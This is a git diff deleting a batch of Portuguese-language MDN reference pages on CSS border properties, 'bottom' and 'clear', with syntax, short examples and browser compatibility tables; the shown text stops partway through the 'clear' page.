diff --git a/files/pt-pt/web/css/border-bottom-width/index.html b/files/pt-pt/web/css/border-bottom-width/index.html deleted file mode 100644 index 299636a962..0000000000 --- a/files/pt-pt/web/css/border-bottom-width/index.html +++ /dev/null @@ -1,112 +0,0 @@ ---- -title: border-bottom-width -slug: Web/CSS/border-bottom-width -tags: - - Referencia_CSS -translation_of: Web/CSS/border-bottom-width ---- -

{{ CSSRef() }}

- -

Resumo

- -

border-bottom-width configura a largura da borda inferior de uma caixa.

- -
    -
  • Valor inicial: medium
  • -
  • Aplica-se a: todos os elementos
  • -
  • Herdado: não
  • -
  • Porcentagens: N/A
  • -
  • Mídia: visual
  • -
  • Valor computado: comprimento absoluto; '0' se o estilo da borda for 'none' ou 'hidden'
  • -
- -

Sintaxe

- -
border-bottom-width: <border-width> | inherit
-
- -

Valores de <border-width>

- -
-
thin 
-
Uma borda fina.
-
medium 
-
Uma borda média.
-
thick 
-
Uma borda grossa.
-
<length> 
-
A espessura da borda tem um valor explícito. Valores explícitos de borda não podem ser negativos.
-
<percentage> 
-
A espessura da borda tem um valor em porcentagem, porcentagens da largura do bloco em que está contida. Larguras explícitas de borda não podem ser negativos.
-
- -

Nota: Um valor em também é suportado.

- -

Propriedades relacionadas

- -
    -
  • {{ Cssxref("border-left-width") }}
  • -
  • {{ Cssxref("border-right-width") }}
  • -
  • {{ Cssxref("border-top-width") }}
  • -
  • {{ Cssxref("border-width") }}
  • -
- -

 

- -

Exemplos

- -

View Live Examples

- -
element {
-    border-bottom-width: thin;
-    border-bottom-style: solid;
-    border-bottom-color: #000;
-}
-
- -

Especificações

- - - -

Compatibilidade com navegadores

- - - - - - - - - - - - - - - - - - - - - - - - -
NavegadorVersão mais antiga
Internet Explorer 
Firefox 
Netscape 
Opera 
- -

 

- -

Veja também

- -

{{ Cssxref("border") }}, {{ Cssxref("border-bottom") }}, {{ Cssxref("border-bottom-width") }}, {{ Cssxref("border-bottom-style") }}, {{ Cssxref("border-bottom-color") }},

- -

Categorias

- -

Interwiki Language Links

- -

{{ languages( { "en": "en/CSS/border-bottom-width", "fr": "fr/CSS/border-bottom-width", "pl": "pl/CSS/border-bottom-width" } ) }}

diff --git a/files/pt-pt/web/css/border-bottom/index.html b/files/pt-pt/web/css/border-bottom/index.html deleted file mode 100644 index 08da201a5f..0000000000 --- a/files/pt-pt/web/css/border-bottom/index.html +++ /dev/null @@ -1,109 +0,0 @@ ---- -title: border-bottom -slug: Web/CSS/border-bottom -tags: - - Referencia_CSS -translation_of: Web/CSS/border-bottom ---- -

{{ CSSRef() }}

- -

Resumo

- -

A propriedade border-bottom é uma propriedadeshorthand que configura os valores de {{ Cssxref("border-bottom-color") }}, {{ Cssxref("border-bottom-style") }} e {{ Cssxref("border-bottom-width") }}. Estas propriedades descrevem a borda inferior de elementos.

- -
    -
  • Valor inicial: veja as propriedades individuais para detalhes
  • -
  • Aplica-se a: todos os elementos
  • -
  • Herdado: não
  • -
  • Porcentagens: N/A
  • -
  • Mídia: visual
  • -
  • Valor computado: ver propriedades individuais
  • -
- -

Sintaxe

- -
border-bottom: [ <border-width> || <border-style> || <border-color> ] |inherit
-
- -

Valores

- -
-
<border-width> 
-
Veja {{ Cssxref("border-bottom-width") }}.
-
<border-style> 
-
Veja {{ Cssxref("border-bottom-style") }}.
-
<border-color> 
-
Veja {{ Cssxref("border-bottom-color") }}.
-
- -

Exemplos

- -

View Live Examples

- -
element {
-    border-bottom-width: 1px solid #000;
-}
-
- -

Notas

- -

Os três valores da propriedadeshorthand podem ser especificados em qualquer ordem e um ou dois deles podem ser omitidos.

- -

Como com todas as propriedadesshorthand, border-bottom sempre configura os valores de todas as propriedades que ele pode configurar, ainda que elas não sejam especificadas. Ele configura as que não especificadas para os seus valores padrão. De maneira que:

- -
  border-bottom-style: dotted;
-  border-bottom: thick green;
- -

é realmente o mesmo que

- -
  border-bottom-style: dotted;
-  border-bottom: none thick green;
- -

e o valor de {{ Cssxref("border-bottom-style") }} dado antes border-bottom é ignorado.

- -

Desde que o valor padrão de {{ Cssxref("border-bottom-style") }} seja none, não especificar o <border-style> torna o valor, o mesmo que a propriedade especifica na borda.

- -

Especificações

- - - -

Compatibilidade com navegadores

- - - - - - - - - - - - - - - - - - - - - - - - -
NavegadorVersão mais antiga
Internet Explorer4
Firefox1
Netscape4
Opera3.5
- -

Veja também

- -

{{ Cssxref("border") }}, {{ Cssxref("border-bottom") }}, {{ Cssxref("border-bottom-width") }}, {{ Cssxref("border-bottom-style") }}, {{ Cssxref("border-bottom-color") }},

- -

Categorias

- -

Interwiki Language Links

- -

{{ languages( { "en": "en/CSS/border-bottom", "fr": "fr/CSS/border-bottom", "pl": "pl/CSS/border-bottom" } ) }}

diff --git a/files/pt-pt/web/css/border-collapse/index.html b/files/pt-pt/web/css/border-collapse/index.html deleted file mode 100644 index 0f1acaaf50..0000000000 --- a/files/pt-pt/web/css/border-collapse/index.html +++ /dev/null @@ -1,87 +0,0 @@ ---- -title: border-collapse -slug: Web/CSS/border-collapse -tags: - - Referencia_CSS -translation_of: Web/CSS/border-collapse ---- -

{{ CSSRef() }}

- -

Resumo

- -

The border-collapse property is used to make the border collapse. This has a big influence on the look and style of the table cells. The rendering of table borders is divided into two categories in CSS2 - "collapsed" and "separated". This property specifies which border rendering mode to use. In the collapsed border model, adjacent table cells share borders. In the separated model, adjacent cells each have their own distinct borders (the distance between them given by the 'border-spacing' property.)

- -
    -
  • Valor inicial: separate
  • -
  • Herdado: sim
  • -
  • Mídia: Visual
  • -
- -

Sintaxe

- -
border-collapse: value
-
- -

Valores

- -
    -
  • inherit : Explicitly sets the value of this property to that of the parent.
  • -
  • separate : Use the "separated borders" rendering model
  • -
  • collapse : Use the "collapsed borders" rendering model
  • -
- -

Exemplos

- -

View Live Examples

- -
<table border="1" style="border-collapse: collapse" bordercolor="#111111" width="500">
-
- -
<table border="1" style="border-collapse: separate" bordercolor="#111111" width="500">
-
- -

Notas

- -

In the "collapsed border" rendering model, the 'border-style' value of "inset" behaves like "groove", and "outset" behaves like "ridge." CSS2 specifies that the initial value for this property is "collapse", but CSS2.1 and Mozilla/Opera all state or behave such that the initial value is "separate."

- -

Especificações

- - - -

Compatibilidade com navegadores

- - - - - - - - - - - - - - - - - - - - -
NavegadorVersão mais antiga
Internet Explorer5.5
Netscape7
Opera5
- -

 

- -

Veja também

- -

{{ Cssxref("border-collapse") }}, {{ Cssxref("border-spacing") }}

- -

Categorias

- -

Interwiki Language Links

- -

{{ languages( { "en": "en/CSS/border-collapse", "fr": "fr/CSS/border-collapse" } ) }}

diff --git a/files/pt-pt/web/css/border-color/index.html b/files/pt-pt/web/css/border-color/index.html deleted file mode 100644 index e97253bd58..0000000000 --- a/files/pt-pt/web/css/border-color/index.html +++ /dev/null @@ -1,116 +0,0 @@ ---- -title: border-color -slug: Web/CSS/border-color -tags: - - Referencia_CSS -translation_of: Web/CSS/border-color ---- -

{{ CSSRef() }}

- -

Resumo

- -

A propriedade border-color é muito útil para ajustar a cor dos quatro lados da borda do elemento.

- -
    -
  • Valor inicial: os elementos da propriedade {{ Cssxref("color") }}
  • -
  • Aplica-se a: todos os elementos
  • -
  • Herdado: não
  • -
  • Porcentagens: N/A
  • -
  • Mídia: visual
  • -
  • Valor computado: O valor computado de color por padrão, ou como especificado.
  • -
- -

Sintaxe

- -
border-color: [ <color> || transparent ]{1,4} | inherit
-
- -

Valores

- -
-
<color> 
-
A cor pode ser especificada como um valor RGB hexadecimal, um valor RGB regular ou usando uma das palavras-chave de cores pré-definidas.
-
- -
-
transparent 
-
A borda não é desenhada, mas ainda continua ocupando espaço na página.
-
- -

Até quatro valores podem ser fornecidos;

- -

Se um valor de cor é fornecido, então todas as quatros bordas ficam daquela cor.
- Se dois valores são fornecidos, as bordas inferior e superior utilizam-se do primeiro valor e as esquerda e direita do segundo valor.
- Se três valores são fornecidos, o primeiro é para a borda superior, o segundo para a esquerda e direita e o terceiro para a inferior.
- Se quatro valores são dados, o primeiro é para a borda superior, o segundo para a direita, o terceiro para a inferior e o quarto para a esquerda.

- -

Exemplos

- -

View Live Examples

- -
element {
-  border-width: 1px;
-  border-style: solid;
-  border-color: black;
-}
-
- -

Notas

- -

No caso de querer ver a borda, você deve ajustar o {{ Cssxref("border-width") }} para um valor positivo e o {{ Cssxref("border-style") }} para algo visível.

- -

Especificações

- - - -

Compatibilidade com navegadores

- - - - - - - - - - - - - - - - - - - - - - - - -
NavegadorVersão mais antiga
Internet Explorer4
Firefox1
Netscape4
Opera3.5
- -

Extensões Mozilla

- -

As seguintes Extensões da Mozilla ajustam os respectivos lados da borda para múltiplas cores para navegadores Gecko.

- -
    -
  • {{ Cssxref("-moz-border-bottom-colors") }}
  • -
  • {{ Cssxref("-moz-border-left-colors") }}
  • -
  • {{ Cssxref("-moz-border-right-colors") }}
  • -
  • {{ Cssxref("-moz-border-top-colors") }}
  • -
- -

Veja também

- -

{{ Cssxref("border") }}, {{ Cssxref("border-color") }}, {{ Cssxref("border-width") }}, {{ Cssxref("border-style") }}

- -

Categorias

- -

Interwiki Language Links

- -

{{ languages( { "en": "en/CSS/border-color", "fr": "fr/CSS/border-color", "pl": "pl/CSS/border-color" } ) }}

diff --git a/files/pt-pt/web/css/border-left-color/index.html b/files/pt-pt/web/css/border-left-color/index.html deleted file mode 100644 index f358f01aa0..0000000000 --- a/files/pt-pt/web/css/border-left-color/index.html +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: border-left-color -slug: Web/CSS/border-left-color -tags: - - Referencia_CSS -translation_of: Web/CSS/border-left-color ---- -

-{{ CSSRef() }} -

-

Resumo

-

border-left-color configura a cor da borda esquerda de um elemento. -

Veja a propriedade border-bottom-color para mais informações. -

Categorias -

Interwiki Language Links -

{{ languages( { "en": "en/CSS/border-left-color", "fr": "fr/CSS/border-left-color", "pl": "pl/CSS/border-left-color" } ) }} diff --git a/files/pt-pt/web/css/border-left-style/index.html b/files/pt-pt/web/css/border-left-style/index.html deleted file mode 100644 index f482151b58..0000000000 --- a/files/pt-pt/web/css/border-left-style/index.html +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: border-left-style -slug: Web/CSS/border-left-style -tags: - - Referencia_CSS -translation_of: Web/CSS/border-left-style ---- -

-{{ CSSRef() }} -

-

Resumo

-

border-left-style configura o estilo da linha da borda esquerda de uma caixa. -

Veja a propriedade border-bottom-style para mais informações. -

Categorias -

Interwiki Language Links -

{{ languages( { "en": "en/CSS/border-left-style", "fr": "fr/CSS/border-left-style" } ) }} diff --git a/files/pt-pt/web/css/border-left-width/index.html b/files/pt-pt/web/css/border-left-width/index.html deleted file mode 100644 index caf87d5d71..0000000000 --- a/files/pt-pt/web/css/border-left-width/index.html +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: border-left-width -slug: Web/CSS/border-left-width -tags: - - Referencia_CSS -translation_of: Web/CSS/border-left-width ---- -

-{{ CSSRef() }} -

-

Resumo

-

border-left-width configura a largura da borda esquerda de um elemento. -

Veja a propriedade border-bottom-width para mais informações. -

Categorias -

Interwiki Language Links -

{{ languages( { "en": "en/CSS/border-left-width", "fr": "fr/CSS/border-left-width" } ) }} diff --git a/files/pt-pt/web/css/border-left/index.html b/files/pt-pt/web/css/border-left/index.html deleted file mode 100644 index e0cd0e9f6f..0000000000 --- a/files/pt-pt/web/css/border-left/index.html +++ /dev/null @@ -1,50 +0,0 @@ ---- -title: border-left -slug: Web/CSS/border-left -tags: - - Referencia_CSS -translation_of: Web/CSS/border-left ---- -

-{{ CSSRef() }} -

-

Resumo

-

A propriedade border-left é uma propriedade shorthand para configurar a largura, estilo e cor da borda esquerda de uma caixa. Esta propriedade pode ser usada para configurar um ou mais valores de {{ Cssxref("border-left-width") }}, {{ Cssxref("border-left-style") }} e {{ Cssxref("border-left-color") }}. Valores omitidos são configurados com o valor inicial. -

-
  • Valor inicial: veja as propriedades individuais para detalhes -
  • Aplica-se a: todos os elementos -
  • Herdado: não -
  • Porcentagens: N/A -
  • Mídia: visual -
  • Valor computado: veja propriedades individuais -
-

Sintaxe

-
border-left: [border-width || border-style || border-color | inherit] ;
-
-

Valores

-
border-width 
Veja {{ Cssxref("border-width") }}. -
border-style 
Veja {{ Cssxref("border-style") }}. -
border-color 
Veja {{ Cssxref("border-color") }}. -
-

Exemplos

-
element {
-    border-left: 1px solid #000;
-}
-
-

Notas

-

Se a regra não especificar uma cor de borda, a borda terá a cor especificada pela propriedade {{ Cssxref("color") }}. -

-

Especificações

- -

Compatibilidade com navegadores

- -
Navegador Versão mais antiga
Internet Explorer 4
Firefox 1
Netscape 4
Opera 3.5
-

Veja também

-

{{ Cssxref("border") }}, -{{ Cssxref("border-left") }} -

Categorias -

Interwiki Language Links -

{{ languages( { "en": "en/CSS/border-left", "fr": "fr/CSS/border-left", "pl": "pl/CSS/border-left" } ) }} diff --git a/files/pt-pt/web/css/border-right-color/index.html b/files/pt-pt/web/css/border-right-color/index.html deleted file mode 100644 index 9a58ad9d69..0000000000 --- a/files/pt-pt/web/css/border-right-color/index.html +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: border-right-color -slug: Web/CSS/border-right-color -tags: - - Referencia_CSS -translation_of: Web/CSS/border-right-color ---- -

-{{ CSSRef() }} -

-

Resumo

-

border-right-color configura a cor da borda direita de um elemento. -

Veja a propriedade border-bottom-color para mais informações. -

Categorias -

Interwiki Language Links -

{{ languages( { "en": "en/CSS/border-right-color", "fr": "fr/CSS/border-right-color", "pl": "pl/CSS/border-right-color" } ) }} diff --git a/files/pt-pt/web/css/border-right-style/index.html b/files/pt-pt/web/css/border-right-style/index.html deleted file mode 100644 index 0aa34c58bd..0000000000 --- a/files/pt-pt/web/css/border-right-style/index.html +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: border-right-style -slug: Web/CSS/border-right-style -tags: - - Referencia_CSS -translation_of: Web/CSS/border-right-style ---- -

-{{ CSSRef() }} -

-

Resumo

-

border-right-style configura o estilo da linha da borda direita de uma caixa. -

Veja a propriedade border-bottom-style para mais informações. -

Categorias -

Interwiki Language Links -

{{ languages( { "en": "en/CSS/border-right-style", "fr": "fr/CSS/border-right-style" } ) }} diff --git a/files/pt-pt/web/css/border-right-width/index.html b/files/pt-pt/web/css/border-right-width/index.html deleted file mode 100644 index 60840f3117..0000000000 --- a/files/pt-pt/web/css/border-right-width/index.html +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: border-right-width -slug: Web/CSS/border-right-width -tags: - - Referencia_CSS -translation_of: Web/CSS/border-right-width ---- -

-{{ CSSRef() }} -

-

Resumo

-

border-right-width configura a largura da borda direita de uma caixa. -

Veja a propriedade border-bottom-width para mais informações. -

Categorias -

Interwiki Language Links -

{{ languages( { "en": "en/CSS/border-right-width", "fr": "fr/CSS/border-right-width" } ) }} diff --git a/files/pt-pt/web/css/border-right/index.html b/files/pt-pt/web/css/border-right/index.html deleted file mode 100644 index 964e932736..0000000000 --- a/files/pt-pt/web/css/border-right/index.html +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: border-right -slug: Web/CSS/border-right -tags: - - Referencia_CSS -translation_of: Web/CSS/border-right ---- -

-{{ CSSRef() }} -

-

Resumo

-

A propriedade border-right é uma propriedade shorthand para configurar a largura, estilo e cor da borda esquerda de uma caixa. Esta propriedade pode ser usada para configurar um ou mais valores de {{ Cssxref("border-right-width") }}, {{ Cssxref("border-right-style") }} e {{ Cssxref("border-right-color") }}. Valores omitidos são configurados com o valor inicial. -

-
  • Valor inicial: veja as propriedades individuais para detalhes -
  • Aplica-se a: todos os elementos -
  • Herdado: não -
  • Porcentagens: N/A -
  • Mídia: visual -
  • Valor computado: veja as propriedades individuais -
-

Sintaxe

-
border-right: [border-width || border-style || border-color | inherit] ;
-
-

Valores

-
border-width 
Veja {{ Cssxref("border-width") }}. -
border-style 
Veja {{ Cssxref("border-style") }}. -
border-color 
Veja {{ Cssxref("border-color") }}. -
-

Exemplos

-
element {
-    border-right: 1px solid #000;
-}
-
-

Notas

-

Se a regra não especificar uma cor de borda, a borda terá a cor especificada pela propriedade {{ Cssxref("color") }}. -

-

Especificações

- -

== Compatibilidade com navegadores == -

-

Veja também

-

{{ Cssxref("border") }}, -{{ Cssxref("border-right") }} -

Categorias -

Interwiki Language Links -

{{ languages( { "en": "en/CSS/border-right", "fr": "fr/CSS/border-right", "pl": "pl/CSS/border-right" } ) }} diff --git a/files/pt-pt/web/css/border-spacing/index.html b/files/pt-pt/web/css/border-spacing/index.html deleted file mode 100644 index 36747dc64d..0000000000 --- a/files/pt-pt/web/css/border-spacing/index.html +++ /dev/null @@ -1,100 +0,0 @@ ---- -title: border-spacing -slug: Web/CSS/border-spacing -tags: - - Referencia_CSS -translation_of: Web/CSS/border-spacing ---- -

{{ CSSRef() }}

- -

Resumo

- -

The border-spacing property specifies the distance between the borders of adjacent cells (only for the separated borders model). This is equivalent to the cellspacing attribute in presentational HTML.

- -
    -
  • Valor inicial: 0
  • -
  • Aplica-se a: tabelas e tabelas em linha
  • -
  • Herdado: sim
  • -
  • Mídia: Visual
  • -
  • Valor computado: dois comprimentos absolutos
  • -
- -

Sintaxe

- -

border-spacing: <length> | <length> <length> | inherit

- -

Valores

- -
    -
  • <length> : A length to be used for both horizontal and vertical border spacing.
  • -
  • <length> <length> : The first length gives the horizontal spacing (space between cells in adjacent columns) and the second length gives the vertical spacing (space between cells in adjacent rows).
  • -
- -

Exemplos

- -

View Live Examples

- -
table#space {
-  border-collapse: separate;
-  border-spacing: 10px 5px;
-}
-
- -

Notas

- -

This property applies only when {{ Cssxref("border-collapse") }} is "separate".

- -

The border-spacing is also used along the outside edge of the table, where the distance between the table's border and the cells in the first/last column or row is the sum of the relevant (horizontal or vertical) border-spacing and the relevant (top, right, bottom, or left) padding on the table.

- -

Especificações

- - - -

Compatibilidade com navegadores

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
NavegadorVersão mais antiga
Netscape6
Internet Explorer7
Firefox1
Mozilla1
Safari1
Opera6
- -

 

- -

Veja também

- -

{{ Cssxref("border-collapse") }}, {{ Cssxref("border-spacing") }}

- -

Categorias

- -

Interwiki Language Links

- -

{{ languages( { "en": "en/CSS/border-spacing", "fr": "fr/CSS/border-spacing" } ) }}

diff --git a/files/pt-pt/web/css/border-top-color/index.html b/files/pt-pt/web/css/border-top-color/index.html deleted file mode 100644 index 5df05465a6..0000000000 --- a/files/pt-pt/web/css/border-top-color/index.html +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: border-top-color -slug: Web/CSS/border-top-color -tags: - - Referencia_CSS -translation_of: Web/CSS/border-top-color ---- -

-{{ CSSRef() }} -

-

Resumo

-

border-top-color configura a cor da borda superior de um elemento. -

Veja a propriedade border-bottom-color para mais informações. -

Categorias -

Interwiki Language Links -

{{ languages( { "en": "en/CSS/border-top-color", "fr": "fr/CSS/border-top-color" } ) }} diff --git a/files/pt-pt/web/css/border-top-style/index.html b/files/pt-pt/web/css/border-top-style/index.html deleted file mode 100644 index b5132d5a35..0000000000 --- a/files/pt-pt/web/css/border-top-style/index.html +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: border-top-style -slug: Web/CSS/border-top-style -tags: - - Referencia_CSS -translation_of: Web/CSS/border-top-style ---- -

-{{ CSSRef() }} -

-

Resumo

-

border-top-style configura o estilo da linha da borda superior de uma caixa. -

Veja a propriedade border-bottom-style para mais informações. -

Categorias -

Interwiki Language Links -

{{ languages( { "en": "en/CSS/border-top-style", "fr": "fr/CSS/border-top-style" } ) }} diff --git a/files/pt-pt/web/css/border-top-width/index.html b/files/pt-pt/web/css/border-top-width/index.html deleted file mode 100644 index 45fcd9b374..0000000000 --- a/files/pt-pt/web/css/border-top-width/index.html +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: border-top-width -slug: Web/CSS/border-top-width -tags: - - Referencia_CSS -translation_of: Web/CSS/border-top-width ---- -

-{{ CSSRef() }} -

-

Resumo

-

border-top-width configura a largura da borda superiror de uma caixa. -

Veja a propriedade border-bottom-width para mais informações. -

Categorias -

Interwiki Language Links -

{{ languages( { "en": "en/CSS/border-top-width", "fr": "fr/CSS/border-top-width" } ) }} diff --git a/files/pt-pt/web/css/border-top/index.html b/files/pt-pt/web/css/border-top/index.html deleted file mode 100644 index d284e0bc7a..0000000000 --- a/files/pt-pt/web/css/border-top/index.html +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: border-top -slug: Web/CSS/border-top -tags: - - Referencia_CSS -translation_of: Web/CSS/border-top ---- -

-{{ CSSRef() }} -

-

Resumo

-

A propriedade border-top é uma propriedade shorthand para configurar a largura, estilo e cor da borda esquerda de uma caixa. Esta propriedade pode ser usada para configurar um ou mais valores de {{ Cssxref("border-top-width") }}, {{ Cssxref("border-top-style") }} e {{ Cssxref("border-top-color") }}. Valores omitidos são configurados com o falor inicial. -

-
  • Valor inicial: veja as propriedades individuais para detalhes -
  • Aplica-se a: todos os elementos -
  • Herdado: não -
  • Porcentagens: N/A -
  • Mídia: visual -
  • Valor computado: veja as propriedades individuais -
-

Sintaxe

-
border-top: [border-width || border-style || border-color | inherit] ;
-
-

Valores

-
border-width 
Veja {{ Cssxref("border-width") }}. -
border-style 
Veja {{ Cssxref("border-style") }}. -
border-color 
Veja {{ Cssxref("border-color") }}. -
-

Exemplos

-
element {
-    border-top: 1px solid #000;
-}
-
-

Notas

-

Se a regra não especificar uma cor de borda, a borda terá a cor especificada pela propriedade {{ Cssxref("color") }}. -

-

Especificações

- -

== Compatibilidade com navegadores == -

-

Veja também

-

{{ Cssxref("border") }}, -{{ Cssxref("border-top") }} -

Categorias -

Interwiki Language Links -

{{ languages( { "en": "en/CSS/border-top", "fr": "fr/CSS/border-top", "pl": "pl/CSS/border-top" } ) }} diff --git a/files/pt-pt/web/css/border-width/index.html b/files/pt-pt/web/css/border-width/index.html deleted file mode 100644 index c3cd9915f2..0000000000 --- a/files/pt-pt/web/css/border-width/index.html +++ /dev/null @@ -1,112 +0,0 @@ ---- -title: border-width -slug: Web/CSS/border-width -tags: - - Referencia_CSS -translation_of: Web/CSS/border-width ---- -

{{ CSSRef() }}

- -

Resumo

- -

border-width configura a largura da borda de uma caixa.

- -
    -
  • Valor inicial: medium
  • -
  • Aplica-se a: todos os elementos
  • -
  • Herdado: não
  • -
  • Porcentagens: N/A
  • -
  • Mídia: visual
  • -
  • Valor computado: comprimento absoluto; '0' se o estilo da borda for 'none' ou 'hidden'
  • -
- -

Sintaxe

- -
border-width: <border-width> {1,4} | inherit
-
- -

Valores de <border-width>

- -
-
thin 
-
Uma borda fina.
-
medium 
-
Uma borda média.
-
thick 
-
Uma borda grossa.
-
<length> 
-
A espessura da borda tem um valor explícito. Valores explícitos de borda não podem ser negativos.
-
<percentage> 
-
A espessura da borda tem um valor em porcentagem, porcentagens da largura do bloco em que está contida. Larguras explícitas de borda não podem ser negativos.
-
- -

Nota: Um valor em também é suportado.

- -

Propriedades relacionadas

- -
    -
  • {{ Cssxref("border-bottom-width") }}
  • -
  • {{ Cssxref("border-left-width") }}
  • -
  • {{ Cssxref("border-right-width") }}
  • -
  • {{ Cssxref("border-top-width") }}
  • -
- -

 

- -

Exemplos

- -

View Live Examples

- -
element {
-    border-width: thin;
-    border-style: solid;
-    border-color: #000;
-}
-
- -

Especificações

- - - -

Compatibilidade com navegadores

- - - - - - - - - - - - - - - - - - - - - - - - -
NavegadorVersão mais antiga
Internet Explorer 
Firefox 
Netscape 
Opera 
- -

 

- -

Veja também

- -

{{ Cssxref("border") }}, {{ Cssxref("border-width") }}, {{ Cssxref("border-style") }}, {{ Cssxref("border-color") }}

- -

Categorias

- -

Interwiki Language Links

- -

{{ languages( { "en": "en/CSS/border-width", "fr": "fr/CSS/border-width" } ) }}

diff --git a/files/pt-pt/web/css/border/index.html b/files/pt-pt/web/css/border/index.html deleted file mode 100644 index 7110cc6c8d..0000000000 --- a/files/pt-pt/web/css/border/index.html +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: border -slug: Web/CSS/border -tags: - - Referencia_CSS -translation_of: Web/CSS/border ---- -

-{{ CSSRef() }} -

-

Resumo

-

A propriedade border é uma propriedade para ajustar os valores de propriedades individuais da borda em um único elemento na folha do estilo. border pode ser usado com as seguintes propriedades adicionais: {{ Cssxref("border-width") }}, {{ Cssxref("border-style") }}, {{ Cssxref("border-color") }}. -

-
  • Valor inicial: veja propriedades individuais para detalhes; -
  • Aplica-se a: todos elementos; -
  • Herdado: não; -
  • Porcentagem: N/A; -
  • Mídia: visual; -
  • Valor computado: veja propriedades individuais para detalhes. -
-

Sintaxe

-
border: [border-width || border-style || border-color | inherit] ;
-
-

Valores

-
border-width
Ver {{ Cssxref("border-width") }}. -
border-style 
Ver {{ Cssxref("border-style") }}. -
border-color 
Ver {{ Cssxref("border-color") }}. -
-

Exemplos

-

Exemplos -

-
elemento {
-    border: 1px solid #000;
-}
-
-

Notas

-

Quando as propriedades {{ Cssxref("border-width") }}, {{ Cssxref("border-style") }}, e {{ Cssxref("border-color") }} aceitarem acima de quatro valores, esta propriedade aceitará somente um valor para cada propriedade. -

-

Especificações

- -

Compatibilidade com navegadores

- -
Navegador Versões mais antigas
Internet Explorer 4
Firefox 1
Netscape 4
Opera 3.5
-

Veja também

-

{{ Cssxref("border") }} -

Categorias -

Interwiki Language Links -

{{ languages( { "en": "en/CSS/border", "fr": "fr/CSS/border", "pl": "pl/CSS/border" } ) }} diff --git a/files/pt-pt/web/css/bottom/index.html b/files/pt-pt/web/css/bottom/index.html deleted file mode 100644 index 2aa2e1e2f7..0000000000 --- a/files/pt-pt/web/css/bottom/index.html +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: bottom -slug: Web/CSS/bottom -tags: - - Referencia_CSS -translation_of: Web/CSS/bottom ---- -

-{{ CSSRef() }} -

-

Resumo

-

The bottom property specifies part of the position of positioned elements. -

For absolutely positioned elements (those with position: absolute or position: fixed), it specifies the distance between the bottom margin edge of the element and the bottom edge of its containing block. -

For relatively positioned elements (those with position: relative), it specifies the amount the element is moved above its normal position. However, the {{ Cssxref("top") }} property overrides the bottom property, so if top is not auto, the computed value of bottom is the negative of the computed value of top. -

-
  • Valor inicial: auto -
  • Aplica-se a: elementos posicionados -
  • Herdado: não -
  • Porcentagens: referente à altura do bloco que o contêm. -
  • Mídia: visual -
  • Valor computado: comprimento absoluto, porcentagem ou automático -
-

Sintaxe

-
   bottom: <length> | <percentage> | auto | inherit
-
-

Valores

-
<length> 
A length, used as described in the summary. Can be negative, zero, or positive. -
<percentage> 
A percentage of the containing block's height, used as described in the summary. -
auto 
For absolutely positioned elements, position the element based on the {{ Cssxref("top") }} property and treat height: auto as a height based on the content. For relatively positioned elements, offset the element from its original position based on the {{ Cssxref("top") }} property, or if top is also auto, do not offset it at all. -
inherit 
Inherits the computed value from its parent element (which may not be its containing block). This computed value is then handled like it was a <length>, a <percentage>, or auto -
-

Exemplos

-
element {
-    position: absolute;
-    bottom: 20px;
-    height: 200px;
-    border: 1px solid #000;
-}
-
-

The following sample page contrasts position:absolute and position:fixed. When the regular text becomes taller than the viewable portion of the page (the browser window's viewport), blocks positioned with position:absolute will scroll with the page, while blocks positioned with position:fixed will not. Note that IE6 does not support position:fixed. -

-
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN"
-   "http://www.w3.org/TR/html4/strict.dtd">
-<html>
-<head>
-<meta http-equiv="content-type" content="text/html; charset=iso-8859-1">
-<title>Position at bottom, absolute or fixed</title>
-<style type="text/css">
-p {font-size:30px; line-height:3em;}
-div.pos {width:49%; text-align:center; border:2px solid #00f;}
-div#abs {position:absolute; bottom:0; left:0;}
-div#fix {position:fixed; bottom:0; right:0;}
-</style>
-</head>
-<body>
-  <p>This<br>is<br>some<br>tall,<br>tall,
-    <br>tall,<br>tall,<br>tall<br>content.</p>
-  <div id="fix" class="pos"><p>Fixed</p></div>
-  <div id="abs" class="pos"><p>Absolute</p></div>
-</body>
-</html>
-

Notas

-

For absolutely positioned elements whose containing block is based on a block-level element, this property is an offset from the padding edge of that element. -

For absolutely positioned elements, the bottom property has no visible effect when all of {{ Cssxref("top") }}, {{ Cssxref("height") }}, and {{ Cssxref("margin-top") }} are not auto (which is the default value for top and height). -

-

Especificações

- -

Compatibilidade com navegadores

-This is as far back as the documentaion goes. -
Navegador Versão mais antiga
Internet Explorer 5
Firefox 1
Netscape 6
Opera 6
-

Veja também

-

{{ Cssxref("bottom") }}, -{{ Cssxref("position") }}, -{{ Cssxref("top") }}, -{{ Cssxref("left") }}, -{{ Cssxref("right") }} -

Categorias -

Interwiki Language Links -

{{ languages( { "en": "en/CSS/bottom", "fr": "fr/CSS/bottom", "pl": "pl/CSS/bottom" } ) }} diff --git a/files/pt-pt/web/css/clear/index.html b/files/pt-pt/web/css/clear/index.html deleted file mode 100644 index 8fcfd728ca..0000000000 --- a/files/pt-pt/web/css/clear/index.html +++ /dev/null @@ -1,93 +0,0 @@ ---- -title: clear -slug: Web/CSS/clear -tags: - - Referencia_CSS -translation_of: Web/CSS/clear ---- -

{{ CSSRef() }}

- -

Resumo

- -

A propriedadeclear especifica se um elemento deve ser posicionado ao lado dos elementos flutuantes ou se devem ser colocados abaixo deles, "forçando" os elementos com float para cima.

- -
    -
  • Valor inicial: nenhum;
  • -
  • Aplica-se a: elementos de bloco de nível (incluindo flutuantes);
  • -
  • Herdado: não;
  • -
  • Mídia: Visual
  • -
- -

Sintaxe

- -

clear: none | left | right | both | inherit

- -

Valores

- -
    -
  • none : O elementonão é abaixado para o espaço livre após elementos flutuantes.
  • -
  • left : O elemento é movido abaixo dos elementos que estão com float aesquerda.
  • -
  • right : O elemento é movido abaixo dos elementos que estão com float adireita.
  • -
